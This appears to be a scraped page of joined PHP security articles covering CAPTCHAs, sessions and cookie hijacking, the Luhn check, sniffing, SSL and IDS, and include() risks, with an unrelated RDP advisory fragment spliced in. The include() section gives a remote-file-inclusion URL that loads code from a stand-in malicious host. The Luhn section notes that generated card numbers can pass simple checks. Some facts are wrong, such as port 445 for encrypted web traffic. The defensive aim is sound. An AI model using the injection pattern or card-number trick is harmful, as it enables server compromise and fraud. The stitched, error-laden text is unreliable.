PHP Programming

If your PHP website contains forms that can be submitted, they can probably be submitted by automation. With PHP programming, a programmer can create a PHP script that submits GET or POST form data directly to the recipient script. The programmer’s code can access a database of information, such as a hacker’s dictionary, and iterate the form submissions until something works, or to flood your website with their content. There are many variations on the technique used to attack a website through automated form submission, but they all use similar tactics and techniques.

One of the most effective methods of preventing successful form submissions is to require an image-to-text translation of textual content from a graphic to a form field. The form would use PHP to display a graphic containing text that the user can rad, which must be correctly entered into one of the fields in the form. If the text is entered correctly, the form validates and continues with whatever else it is meant to do. If the text is missing or incorrect, PHP rejects the submission.

The reason this prevents automated form submissions is that it is difficult to perform Optical Character Recognition (OCR) on some images and not hacker/spammer programmers won’t apply the significant time required to automate such text entries from graphics. The image containing the textual code should contain some background artwork that makes OCR significantly more difficult. Logos, lines, and colors make OCR more than difficult, diminishing the likelihood that OCR will be employed, and thus increasing the safety of your forms and PHP scripts.

The file containing the form and PHP code should contain the ability to generate both the textual code to be used as well as the image to display that code. The code should be tracked from the form to the PHP receipt script, so they can be compared. The most effective method is using PHP Sessions to store the randomly generated textual string. The PHP code generating the image should be stored as a separate file, and used anywhere text needs to be displayed as a graphic.

This technique has some implications and caveats. Be sure to unset the PHP session variable containing the textual code if the form is reloaded. Defeat the browser and server caches from displaying the old graphic code, so the user always sees current data, not the old data. Make sure the PHP graphic code generator is given the code to embed in the graphic. When generating the textual code, it s safest to remove the number 0 and the letter O, perhaps also removing the letter Z and the number 2, the letter I and the number 1, etc. This prevents misinterpretation from the graphic blocker. Make the top layer text similar in contrast to the background artwork and overall image, so OCR cannot perform well.

Graphic blockers can be customized to use any font and contain logos, so they are consistent with the website theme. Various methods of skewing the text in the image can be employed, in combination with different sizes, fonts, colors, styles and other ways of making the characters differ. Whichever set of methods and techniques the PHP programmer uses, graphic blockers will diminish the chances your website will be damaged or abused by form spammers.

Summary
The aim of this advisory is to warn Remote Desktop users about the feasibility of invisible man-in-the-middle attacks against Microsoft Terminal Services. This is an update of Erik Forsberg’s advisory released in April 2003 available at the following link: http://www.securityfocus.com/archive/1/317244. In short, mitm attacks on RDP protocol are still possible and they can be completely invisible for Terminal Services users.

Systems Affected
This advisory is born after experiments and researches on the following environment:
- Terminal Server software: Microsoft Windows Terminal Services using RDP v5.2
- Terminal Server Client software: Microsoft Remote Desktop for Windows XP v5.1.2600.2180

File (PDF) rdp-gbu.pdf 

The question of information tracking arises regularly in regards to PHP eCommerce shopping carts and member login management systems for PHP Programming. It is important that the PHP Programmer have a thorough understanding of managing Sessions and Cookies with PHP Programming in order to create efficient data tracking from page to page of a PHP website. An excellent understanding of Network Security and PHP Programming is required before creating a PHP eCommerce web site that manages sensitive information like credit card data or login information.

There is a big difference between Sessions and Cookies, despite their similarities. Although they both are methods of storing information defined by the user and his browser, they store the information in different locations using PHP. A Cookie is stored on the user’s browser and all of its information is transacted every time the browser sends and receives a new web transaction. Sessions are stored on the web server and the data is not passed back ad forth with the user’s browser. The Session is associated with a Session ID value, which is passed to the the user’s browser via a Cookie transaction. A benefit of Sessions is data security since the data is stored on the server and not passed back and forth with the browser. There are always pros and cons for using Sessions and/or Cookies, which should be evaluated by each PHP Programmer for each PHP eCommerce web site. Using Cookies alone to handle all the user’s data is not safe unless well encrypted and securely handled.

Sessions are files containing information that is defined and associated with a variable name by the PHP Programmer. Sessions are not auto-populated by the browser or web server, unless the PHP Programmer has written the PHP code to do so. The files are named by their Session IDs and are typically stored in default locations, or perhaps in custom defined locations, on the PHP web server. Session IDs are created by the PHP web server and should not be predictable, for Network Security reasons. Network Security is a vital component of Session ID handling and web server security. Sessions are not vulnerable by default, but can be a security risk if your PHP Programmer lacks sufficient understanding of Network Security, how network protocols operate, and safe data management tehniques.

Each PHP script in your eCommerce website must make a declaration to start a Session using PHP Programming, in order to access existing data and create new data. The Session can be named, be associated with a specific domain name, given an expiration date or duration, amongst other key specifiers and modifiers. A PHP web server will name undefined Cookies in the browser with a default Cookie name. The PHP web server can test if a cookie is accepted and stored, as opposed to rejected and unavailable. It may be important that the user’s browser accept Cookies, else disallow access to maintain site security.

Session creation must be handled inside the PHP web header prior to the exchange of non-header information. Creating new Session data or accessing existing Session data may be performed after header transactions. Some Session commands may cause problems or diminish script efficiency if processed post header release. Creating, accessing, and modifying Session data should be done logically and methodically. PHP Programming provides an extensive toolset for creating and handling both Cookies and Sessions in PHP Programming.

The safety of the data inside of sessions depends on the level of Network Security on your PHP web server and the quality of Network Security on our PHP Programming. A robust and secure PHP web server can be destroyed by poor PHP Programming, and a poorly secured web server can provide vulnerabilities that destroy the best designed PHP Programming. Some PHP Programmers choose to encrypt the data that is stored inside Sessions on the PHP web server. This is a good choice if the web server is a shared server that might have vulnerabilities providing access to unassociated sources. If your web server is your own or if it is not a shared web server, this level of encryption may only slow your handling of high volume traffic. Your web server should be tested to see if shared wesite owners can jump directories into yours, and you into theirs. This is not an uncommon problem, which lets unauthorized users access your website scripts and databases!
The best method of protecting Sessions is to prevent the capture and use of the user’s Cookie, which contains the Session ID. Cookie Hijacking is a method of stealing the user’s Cookie from his browser and using it without permission. Since the Cookie contains the ID of the Session that contains all of their information, it acts like a key to the user’s Session. Once accessed the hijacker can impersonate the original user. Cookies can be stolen by Sniffing Networks and creating the Cookie file on their own computer for their own browser. Another method of Cookie Hijacking is to simply gain physical access to the user’s computer and copying the files manually. Either way, securing Cookies is more important than securing Sessions in most general situation.

To better secure a Cookie from being hijacked, the PHP Programmer should take steps toward enhanced Network Security and preventing Network Sniffing from being effective. Where standard Cookies store usernames and passwords (as opposed to Sessions storing only a Session ID value in the Cookie), the Session data can be more easily secured. The user’s local and remote IP Addresses should be stored and tracked. The starting timestamp for the Session creation should also be tracked. Details about the user’s browser type and version can be combined with the time and IPs to create a basic thumbprint of the user who created the Session. If any of the thumbprint changes, the Cookie should be nullified by deleting it from the browser. More importantly, the PHP Session data on the web server can be protected from any thumbprint not matching the original creator’s. In effect, the web server would refuse to provide any information unless all of the thumbprint matches. A duration of access and subsequent expiration should be employed on sensitive PHP Websites based on the starting timestamp from the Session creation. Provide the user with a sufficient window of time to perform the expected web functions, else auto-logout the user. The PHP Programmer can also reset the duration as long as the user is not idle, else the countdown would continue until auto-logout.

If the eCommerce website owner was logged in, but had to rush away from his computer, the website would perform an auto-logout after the predefined login duration. The owner of the eCommerce web site would be afforded the luxury of staying away without need to manually logout, while protecting the system once logged out. Barring activity-resetting durations, another employee gaining unauthorized access would be forced to log back in after the duration, limiting the time he could cause havoc. If the cookie was hijacked and relocated on another computer, the IP Address could be blocked, and likely the browser version and details would cause access blocking. There are many options the PHP Programmer has available to create a very secure and functional membership system using Sessions and Cookies in PHP Programming. As long as the PHP Programmer is well versed in Sniffing Networks and Network Security as related to Sessions and Cookies, your eCommerce transactions, eCommerce shopping carts, membership access and other PHP web sites will remain secure.

The Luhn algorithm or Luhn formula, also known as the Modulus 10 Algorithm (mod 10), is a simple checksum formula used to validate a variety of identification numbers, such as credit card numbers and Canadian Social Insurance Numbers. The algorithm is in the public domain and is in wide use today. It is not intended to be a cryptographically secure hash function and should be encrypted via SSL or PHP Programming methods. It was designed to protect against accidental errors, not malicious attacks. Most credit cards and many government identification numbers use the algorithm as a simple method of distinguishing valid numbers from collections of random digits.

The formula verifies a number against its included check digit, which is usually appended to a partial account number to generate the full account number. This account number must pass the following PHP Programming evaluation:

1. Starting with the rightmost digit (which is the check digit) and moving left, double the value of every second digit. For any digits that thus become 10 or more, add their digits together as if casting out nines. For example, 1111 becomes 2121, while 8763 becomes 7733 (from 2×6=12 → 1+2=3 and 2×8=16 → 1+6=7).
2. Add all these digits together. For example, if 1111 becomes 2121, then 2+1+2+1 is 6; and 8763 becomes 7733, so 7+7+3+3 is 20.
3. If the total ends in 0 (put another way, if the total modulus 10 is congruent to 0), then the number is valid according to the Luhn formula; else it is not valid. So, 1111 is not valid (as shown above, it comes out to 6), while 8763 is valid (as shown above, it comes out to 20).

By checking the number of digits and pattern checking parts of the number, you can determine which credit card company issued the number.  Try the following PHP Programming demo of a Modulus 10 Check. By reverse engineering the Modulus 10 calculations, you can easily use PHP Programming to generate credit card numbers that pass the evaluation.

eCommerce web sites that perform simple Mod 10 checks will validate privately generated credit card numbers. Valid credit card umbers can bypass simple client-side Javascript form checks. eCommerce web sites that are unable to connect to third party validation servers may default to an accepted status. The bottom line for eCommerce web sites is to check if the supplied credit card number is authenticated by the credit card company, but majorily to assure that funds exist. Leverage the power of PHP Programming to assure your Mod 10 evaluation is secure, efficient, and fast.
The Luhn algorithm will detect any single-digit error, as well as almost all transpositions of adjacent digits. It will not, however, detect transposition of the two-digit sequence 09 to 90 (or vice versa). Other, more complex check-digit algorithms (such as the Verhoeff algorithm) can detect more transcription errors. The Luhn mod N algorithm is an extension that supports non-numerical strings. Enhance any Mod 10 evaluation with appropriate PHP Programming.
The algorithm appeared in a US Patent for a hand-held, mechanical device for computing the checksum. It was therefore required to be rather simple. The device took the mod 10 sum by mechanical means. The substitution digits, that is, the results of the double and reduce procedure, were not produced mechanically. Rather, the digits were marked in their permuted order on the body of the machine.

PHP Programming  and PHP Web Site Design by The PHP Kemist

When you transmit data between your computer and the rest of the world, you are not the only one who can see and hear your data in transit. Generally, your transmissions are intended for a specific recipient, which is typically a server of some sort. A PHP server receives web requests and generally responds with a web page as the results. Email deliveries are received and processed by recipient mail servers. FTP exchanges, streaming media and other protocols may be viewed as the same entity, “data in transit.”

Any and all data you transmit from your intranet out to the Internet is visible to others. Although encrypted data is not easily decrypted and understood by others, the encrypted data is as easily accessible as the unencrypted data. Regardless of the protocol or level of protection on the data, it is important to understand that the data is accessible to others.

This is not to say that ALL other users can access your data while it is in transmission, but it does mean that somewhere along the way, it is probably that there is someone who could access it. A technique for accessing data that is between your computer and an Internet target is called Sniffing or Snorting. There are various terms and variations on their definitions, but the basic concept is still the same.

Let’s consider an intranet at the workplace as an example. You may be using instant chat, email, or blogging. Of course, you’d never use our work computer for personal gain or entertainment, so you have nothing to fear about being observed. When you send your data out, your computer doesn’t discern between pathways along the ethernet cables. It sends the transmission and it hits everyone on your local network, probably including the guy next to you and down the hall. Your request was sent to a specific Internet or intranet IP Address, so their machines will ignore transmissions that don’t match their own IP Address. Most computers are setup to ignore background noise, which are transmissions that don’t apply to them.

With the right software (Sniffer), another user can tell his computer to listen to any and all transmissions that aren’t intended for his computer. The transmissions can be separated into groups based on the target IP Address, creating a history of communication for a specific IP Address. Your transmissions are separated into chunks of data called Packets. Each packet has a bit of information assigning the target IP Address and the source IP Address. The raw data looks like jibberish, but that’s just where the fun starts.

Assuming you didn’t bother to encrypt your data or use an encrypted service like Skype, the data you are transmitting is quite readable. The average Sniffer decodes the basic format of the data and displays “human text” for the user. Everything you type can be viewed by person Sniffing your data. Email messages, instant chats, web requests and form submissions, and many other transmissions types are now his to crawl through. Since the Sniffer most likely saved a history of all the data you sent, he can review it at his leisure.

Since usernames & passwords, GET and POST data from forms, realm logins, and other sensitive information can now be easily read, you must assume everything you do can be shared with everyone in your office. This is why encryption is so important to protect your data. Sniffers may record the encrypted data in transit, but won’t decipher the data… unless you use poor encryption or the other guy gets VERY lucky.

Man-In-The-Middle Attacks are different and similar. This requires the other person to conduit your transmissions rather than simply sniff them remotely. This is a different subject that may sound the same, but is not.

CAVEATS:  Don’t transmit unencrypted information through the intranet or Internet unless you would be happy sharing it with everyone. Use services that have encryption built in. Don’t use your office computer to browse or connect to content that risks your job. That’s what your home computer is for!

For a long time the Web was composed of primarily static websites that were maintained by laborious manual methods. Websites comprised of volume web pages were painful to manage and updates were slow to be effected. Human error was more common back then, and the equipment used to create, transmit, store and display content was relatively poor compared to today even considering the time factor. The evolution of database technologies created many opportunities and from it came the science of Web and Database Programming. From this arose the demand for Network Security as related to data flow and storage.

Web and Database Programming is more than simple data storage and web retrieval. There is truly an art to how data is received and managed, beyond the simple scope of storage and retrieval. A web and database programmer is responsible for much more than luke warm data flows. In many cases, the web and database programmer is one of the most critical components of eCommerce web site development and the success of an eCommerce business on the Web.

The web and database programmer must understand more components of design than other web developers. As a PHP Programmer and Database Programmer, Network Security becomes a vital factor for securing data flow and securing the database that stores important information. Encrypting data flow using SSL (Secure Socket Layer) Certificates is a minor task and still does not create an entirely safe environment for web and database data flow. Packet inspection and the IDS (Intrusion Detection System) are important even when SSL is enabled. Web Databases can be vulnerable no matter where they reside and controlling access is key to data loss prevention. Routine web log inspection and system updates/upgrades must be treated as an important ongoing maintenance by the web and database programmer, or appropriate assignee.

SSL is simply a method of encrypting information to prevent prying eyes from seeing the data in transit between the user’s web browser and the web and database servers. It normally creates a connection between the user’s browser and the server managing the data encryption. This can sometimes create a false sense of security for the user. A Man In The Middle Attack consists of someone between the user’s browser and the web and database server, who can watch the data in transit. Using a variety of easily available programs, he can create a secure connection between his machine and the web and database servers, separately from a second secure connection between his machine and the user’s browser. Although the user effectively gains a secure connection between his browser and the web and database servers, the man in the middle can see all the data flowing without any encryption. This data flow can be stored for analysis, or can often be analyzed for set criteria on-the-fly. The user’s browser should throw up an alert indicating that the secure connection was not established by the same domain as the original request made by the browser. Unfortunately, most users are numb to alerts and assume it’s an alert telling them they are making a generic secure connection, and approve it.

IDS (Intrusion Detection System) can be located on the web and/or database servers as a software firewall system, or on another hardware component firewall between the web and/or database servers and the Internet. As an Intrusion “Detection” System, an IDS is designed to inspect data packets (the chunks of data flowing to and from the servers). IDS operate on predefined patterns of data, which they look for as the data flow by. If an IDS sees a pattern match in the data, it can be configured to respond in a number of ways. Generic responses are to either allow the data to pass or reject the connection. IDS responses are not always so black and white, and the Network Security Admin must maintain the IDS definitions and updates regularly, else the IDS will grow unhealthy and inefficient at protecting the machines behind it.

IDS that exist on the server itself are not as safe as separate hardware IDS separate from the servers and between the servers and the Internet. However, when SSL is employed and managed be the web and database servers behind the IDS, a “vulnerability” is created. Since the server handles the encryption and decryption of the data being exchanged, the IDS is rendered ineffective, since it cannot read the actual data, and is likely to allow all encrypted data to pass, since it doesn’t match illegal data patterns. Two simple solutions are available to resolve this IDS defunction issue. A server between the IDs and the Internet can be employed simply to encrypt and decrypt data, so the IDS always see decrypted data and can match patterns effectively. The IDS can reside on a server or hardware firewall that does both packet inspection and data encryption/decryption. Symantec IDS/SSL firewall devices are available from companies like Emagined Security.

Web and Database Programmers must have a solid understanding of Network Security to be effective PHP programmers or Database Programmers. If the PHP Programmers or Database Programmers don’t understand the way data flows and how encryption works, they can easily build vulnerabilities into their code. A novice web programmer lacks the understanding, perhaps the entire concept, of network security and assumes that encryption is a totally separate issue that “someone else is responsible for.” Web and database programmers must understand that the vast majority of network security problems arise from web driven content through port 80 (the doorway through which unencrypted web traffic typically flows) and port 445 (the typical port for encrypted traffic). Some of the best network security measures can be rendered useless when a poor web and database programmer creates security vulnerabilities in their code. It’s like having a ship that is designed to not sink, but the engineer has a gun and shoot holes in the hull while he’s sleeping.

Data loss prevention is mission critical for most eCommerce web sites and eCommerce businesses. You must secure your data flow from prying eyes with carefully applied encryption, prevent attacks upon your servers using IDS at strategic locations, employ measures to secure and protect your web and database servers, and make sure your web and database programmers have a solid understanding of how network security works. This is not a comprehensive list of measures and tactics to protect your eCommerce web site or Online business, as there is much more that must be considered, all of which the web and database programmer must understand thoroughly.

One of the most overlooked and seemingly less important measures of security is data backup. Routine scheduled data backups must be performed on every data repository. If your web and database servers backup every 12 hours, you will never lose more than 12 hours of data and can resurrect a corrupted or attacked system. A simple network security admin will not assume the role of data backups, nor will a simple web programmer. This task is often left quietly to the business owners or managers. In fact, the responsibility of secured data backup management should be in the job description of the web and database programmer, since he is the entity responsible for data flow. Back-end network administration plays an important role when remote data storage devices are used. Other factors of network security play a role when global connections are used to backup data to off site locations.

As important as data backup is the process of data resurrection. Performing the data backup is great since you have the data at hand should your web and database servers become compromised. However, the process of restoring that data onto the same server, or perhaps new replacement servers is quite important! Your web and database programmers must have protocols in place before a crisis to repair the web and database servers, replace the web and database servers, and restore both the web and database programming and the data that had been stored. Detailed plans are of Mice and Men, so make sure to prove the protocols by performing real tests to prove they work and how long they take.

When web and database programming provides security vulnerabilities, it’s often just a matter of time before they are discovered and exploited. A negligent web and database programmer will be unaware of the exploitation until the business crashes or some other event reaches him. In many cases, web and database programmers are treated by eCommerce business owners as a “quick fix” and then discarded. A web and database programmer should always be available to jump into security and exploit situations to make immediate repairs. Finding a new web and database programmer means providing time and expense for coming up to speed on the previous web and database programmer’s work before making repairs. Without sufficient up-to-speed time, the web and database programmer is more likely to break a remote component of code, despite fixing a local component. Simple web programmers are dangerous tools for eCommerce web development. It is their responsibility to thoroughly understand network security to protect your business.

Network Security is an ongoing pursuit since the malicious users in the world continue to develop new tools. What was once not a vulnerability, might become one with enough time. Operating system vulnerabilities (MS IIS) aside, and barring ignorance on the part of the web developer, web and database are responsible for securing your eCommerce web site, and continuing to protect, upgrade and fix it. Retain your web and database programmer for ongoing maintenance and upgrades. Don’t lose your web and database programmer’s contact information in case you need him to return to make repairs from attacks and to help prevent them.

The include() command is powerful PHP Code to grab remote content and literally “include” it in your PHP Programs. The command is designed to make a remote or local network request to retrieve content that is inserted into your own PHP Code. There are special caveats as related to Network Security when using this command. You can compromise your web page, website, databases, or your entire web server.

Network Security is a major issue often overlooked by web designers, database developers, and even PHP programmers. Especially if you have a database with critical information, you must adhere to the rules of Network Security to protect yourself, your server, and your clients.

Since the include() command literally inserts remote code into your own, and is subsequently processed by the web server and PHP Parser, you must trust your remote code very well. The naive expectation is that the remote code will be simple HTML or even just text. One would assume that including a remote PHP script would result in the retrieval of processed PHP Code that is actually plain HTML. The problem is that a remote HTML, TEXT, or PHP page can generate content that your own PHP Script includes as Executable PHP Code.

If your PHP Code includes executable PHP Code, it will be processed by your own web server’s PHP Parser, and that spells trouble. If the included PHP Code is a Trojan Horse, or similarly damaging script, your web server will become compromised. If the included PHP Code contains scripts to read/write files, it might explore your web server for whatever is available, perhaps sending it out to the hacker or other external locations. The included PHP Code might be a mailer script that starts a spam campaign, using your web server as the source and getting you blacklisted.

Included PHP Code is capable of rewriting all of your web pages, one-by-one, to include some other form of malicious code. The included PHP Code might write some lines of code to the top or bottom of every web page that will be processed every time the page is viewed by a user. Whether the cod affects the user or your server, it’s likely going to be bad.

The include() command can be used effectively and safely, provided you are aware of the many Network Security issues it can create and you take precautions. DO NOT TRUST everyone, and beware of all external sources. Don’t think you have all the bases covered until you understand Network Security well enough to make that decision.

CAVEATS: Define your include parameters in your PHP Code and DO NOT let external sources define it for you. If you let a GET or POST variable define the include target, users can redefine the target to some malicious PHP Code. Sites that attempt to dynamically link to content by defining a GET variable (ex. http://www.domain.com/index.php?page=contact.php), can be redefined by users to include malicious PHP Code (http://www.domain.com/index.php?page=http://www.php-death.com/super-bad-code.php). Make sure you filter your include pathways and prevent illegal characters from being passed to the PHP Parser. There are almost always other PHP caveats for include() to be aware of, so don’t jump in until you know it’s safe.